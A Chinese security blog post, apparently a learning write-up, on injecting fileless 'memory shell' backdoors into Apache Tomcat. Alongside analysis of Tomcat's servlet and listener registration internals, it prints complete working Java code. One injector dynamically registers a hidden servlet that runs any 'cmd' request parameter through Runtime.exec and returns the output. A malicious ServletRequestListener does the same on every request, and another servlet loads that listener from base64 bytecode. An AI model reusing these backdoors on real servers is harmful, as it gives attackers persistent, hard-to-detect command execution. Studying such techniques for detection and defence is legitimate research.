Java安全之基于Tomcat的Servlet&Listener内存马
Java安全之基于Tomcat的Servlet&Listener内存马
写在前面
接之前的Tomcat Filter内存马文章,前面学习了下Tomcat中Filter型内存马的构造,下面学习Servlet型的构造,后续并分析一下Godzilla中打入Servlet型内存马的代码。
学习之前首先将前面Filter型内存马做一个简单的回顾,首先之前构造的Filter型内存马看网上文章讲是指支持Tomcat7以上,原因是因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3。
且在Tomcat7与8中 FilterDef 和 FilterMap 这两个类所属的包名不一样
tomcat 7:
org.apache.catalina.deploy.FilterDef;
org.apache.catalina.deploy.FilterMap;
tomcat 8:
org.apache.tomcat.util.descriptor.web.FilterDef;
org.apache.tomcat.util.descriptor.web.FilterMap;
但是Servlet则是在Tomcat7与8中通用的,而Godzilla的内存马也是Servlet型内存马
ServletContext跟StandardContext的关系
Tomcat中的对应的ServletContext实现是ApplicationContext。在Web应用中获取的ServletContext实际上是ApplicationContextFacade对象,对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,以此来获取操作Tomcat容器内部的一些信息,例如Servlet的注册等。
Servlet型内存马构造
还是在ApplicationContext类中,有4个addServlet方法,前三个为重载
最终会走到该addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams)
方法内,该方法代码如下。
流程为:首先判断servletName是否为空,之后从StandardContext中获取child属性并转换为wrapper对象,如果wrapper为空就通过StandardContext的createWrapper方法创建一个Wrapper并通过StandardContext addChid方法将Wrapper添加到StandardContext的属性Child中。方法最后会返回ApplicationServletRegistration对象
private javax.servlet.ServletRegistration.Dynamic addServlet(String servletName, String servletClass, Servlet servlet, Map<String, String> initParams) throws IllegalStateException {
if (servletName != null && !servletName.equals("")) {
if (!this.context.getState().equals(LifecycleState.STARTING_PREP)) {
throw new IllegalStateException(sm.getString("applicationContext.addServlet.ise", new Object[]{this.getContextPath()}));
} else {
Wrapper wrapper = (Wrapper)this.context.findChild(servletName);
if (wrapper == null) {
wrapper = this.context.createWrapper();
wrapper.setName(servletName);
this.context.addChild(wrapper);
} else if (wrapper.getName() != null && wrapper.getServletClass() != null) {
if (!wrapper.isOverridable()) {
return null;
}
wrapper.setOverridable(false);
}
ServletSecurity annotation = null;
if (servlet == null) {
wrapper.setServletClass(servletClass);
Class<?> clazz = Introspection.loadClass(this.context, servletClass);
if (clazz != null) {
annotation = (ServletSecurity)clazz.getAnnotation(ServletSecurity.class);
}
} else {
wrapper.setServletClass(servlet.getClass().getName());
wrapper.setServlet(servlet);
if (this.context.wasCreatedDynamicServlet(servlet)) {
annotation = (ServletSecurity)servlet.getClass().getAnnotation(ServletSecurity.class);
}
}
if (initParams != null) {
Iterator var9 = initParams.entrySet().iterator();
while(var9.hasNext()) {
Entry<String, String> initParam = (Entry)var9.next();
wrapper.addInitParameter((String)initParam.getKey(), (String)initParam.getValue());
}
}
javax.servlet.ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, this.context);
if (annotation != null) {
registration.setServletSecurity(new ServletSecurityElement(annotation));
}
return registration;
}
} else {
throw new IllegalArgumentException(sm.getString("applicationContext.invalidServletName", new Object[]{servletName}));
}
}
先构造出Servlet型内存马,代码参照su18师傅的文章,先照搬过来,然后再去分析代码,最后对代码存在的疑问做一个简单的分析。
其实大体上流程与Filter型差不多,只不过这次需要动态注册Servlet而不是Filter,所以在动态注册哪里代码进行一些改动即可
@WebServlet("/addServletMemShell")
public class ServletMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 获取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 获取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String ServletName = "ServletMemShell";
// 创建一个与程序现有Servlet不重名的Servlet
if (servletContext.getServletRegistration(ServletName) == null){
HttpServlet httpServlet = new HttpServlet(){
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd!=null){
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bufferedInputStream = new BufferedInputStream(inputStream);
int len;
while ((len = bufferedInputStream.read())!=-1){
resp.getWriter().write(len);
}
}
}
};
// Standard createWrapper 拿到Wrapper封装Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中设置ServletName
wrapper.setName(ServletName);
// 注意下面这一行代码
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());
// 向children中添加wrapper
standardContext.addChild(wrapper);
// 设置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
resp.getWriter().write("Inject Tomcat ServletMemShell Success!");
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
}
依旧是先访问上面构造的Servlet,之后会帮我们注册一个Servlet内存马。
Servlet内存马创建分析
其实关键部分就是下面这段代码
// Standard createWrapper 拿到Wrapper封装Servlet
Wrapper wrapper = standardContext.createWrapper();
//在Wrapper中设置ServletName
wrapper.setName(ServletName);
wrapper.setLoadOnStartup(1);
wrapper.setServlet(httpServlet);
wrapper.setServletClass(httpServlet.getClass().getName());
// 向children中添加wrapper
standardContext.addChild(wrapper);
// 设置ServletMappings
standardContext.addServletMappingDecoded("/ServletMemShell", ServletName);
个人认为与filter型不同点在于wrapper.setLoadOnStartup(1);
,那么loadOnStartup
在什么地方被调用呢?回看了下调用栈,发现在StandardContext#startInternal方法中,依次调用了listenerStart
、filterStart
、loadOnStartup
方法,
跟一下loadOnStartup
方法,前面是获取children属性并进行遍历
getLoadOnStartup()代码如下,这是StandardWrapper的属性loadOnStartup的get方法,依据条件,我们的代码中先通过 wrapper.setLoadOnStartup(1);
将其设置为1,那最后这里返回的值也是1.
也因此会进入下面的if中最后调用StandardWrapper#load方法,在load方法中进行Servlet的加载与初始化。
总体的调用栈如下,不过中间被省略了不少,比如addChild,chidStart,addServlet方法都有经过,感兴趣的师傅可以自己调试下
那上面是针对于存在loadOnStartup属性的Servlet。
有意思的来了,可以尝试把我们上面的wrapper.setLoadOnStartup(1);
这行代码去掉,测试后发现依然不影响Servlet内存马的注入。: )
这里涉及到Servlet的一个加载问题:
针对配置了 load-on-startup 属性的 Servlet 而言,其它一般 Servlet 的加载和初始化会推迟到真正请求访问 web 应用而第一次调用该 Servlet 时
在非配置load-on-startup 属性的 Servlet 而言,是不会在系统加载的时候创建具体的处理实例对象,依旧还只是个配置记录在Context中。真正的创建则是在第一次被请求的时候,才会实例化
那疑问就解决了,wrapper.setLoadOnStartup(1);
只是影响Servlet在何时进行加载,而不影响他是否加载。
那没有loadOnStartup属性的Servlet怎么加载的呢?
回到调用栈中StandardWrapperValve#invoke方法中,重点是下面这一行
跟进去看实现,所以是在StandardWrapper#allocate方法中进行的Servlet加载与初始化
综上,那其实创建Servlet的流程就不难理解了。
依旧是获取到StandardContext,创建Servlet的封装类Wrapper,也就是StandardWrapper,后续设置ServletNam与ServletClass并指定类与ServletMapping ,类似于Web.xml中的配置就是
<servlet>
<servlet-name> </servlet-name>
<servlet-class> </servlet-class>
</servlet>
<servlet-mapping>
<servlet-name> </servlet-name>
<url-pattern> </url-pattern>
</servlet-mapping>
后续就是添加到child属性中,等待第一次访问该Servlet时让Tomcat去加载就好了,或者设置了wrapper.setLoadOnStartup(1);
可以直接在系统加载的时候创建Servlet
Listener型内存马
Listener 可以译为监听器,监听器用来监听对象或者流程的创建与销毁,通过 Listener,可以自动触发一些操作,因此依靠它也可以完成内存马的实现。
在应用中可能调用的监听器如下:
- ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
- ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
- ServletRequestListener:对 Request 请求进行监听(创建、销毁)
- ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
- javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
- javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听
Tomcat中保存的Listener对象在 StandardContext 的 applicationEventListenersObjects 属性中,同时StandardContext存在addApplicationEventListener
方法来添加Listener。
本次用到的是ServletRequestListener
接口,该接口提供两个方法requestInitialized
和 requestDestroye
分别在Request对象创建和销毁的时候自动触发执行方法内的内容,而该方法接受的参数为ServletRequestEvent对象,其中可以获取ServletContext 对象和 ServletRequest 对象。
构造恶意Listener
public class ListenerMemShell implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent sre) {
RequestFacade request = (RequestFacade) sre.getServletRequest();
try {
Field req = request.getClass().getDeclaredField("request");
req.setAccessible(true);
Request request1 = (Request) req.get(request);
Response response = request1.getResponse();
String cmd = request1.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
int len;
while ((len = is.read()) != -1){
response.getWriter().write(len);
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}
}
可以写一些工具类对上面的恶意Listener做一些处理,比如将class文件转成byte再转base64之后在Servlet中解码加载字节码
@WebServlet("/addListenerMemShell")
public class ListenerMemShell extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// 获取ServletContext
final ServletContext servletContext = req.getServletContext();
Field appctx = null;
try {
// 获取ApplicationContext
appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
// 获取StandardContext
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
standardContext.addApplicationEventListener(Utils.getClass(Utils.LISTENER_CLASS_STRING1).newInstance());
resp.getWriter().write("Success For Add Listnenr CmdMemShell !");
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
先访问addListenerMemShell
之后随便访问个Servlet在参数中输入想要执行的命令即可。
End
其实在Tomcat环境下,相较于Servlet,本人更喜欢Filter和Listener型的内存马,主要是在于Filter、Listener的访问都在Servlet之前,也就避免了一些可能会出现玄学和花里胡哨的问题。而关于Listener,玩法应该还有很多,只是看到的文章比较少可能以后会更多的去尝试Listener型内存马,比如打behinder3和Godzilla。
后面学习下通过反序列化打内存马的姿势,集成上打哥斯拉和behinder的内存马,顺带改造下yso,以及将反序列化命令执行与回显链进行缝合,也可以集成到yso里。包括近期有看到关于filter的处理做到简单的免杀,以及不同容器的内存马注入和Tomcat下StandardContext的获取做到6789版本通杀,会放在后面一点点研究。
Reference
http://www.xiao-hang.xyz/2019/05/16/Tomcat源码分析-三-WEB加载原理-二/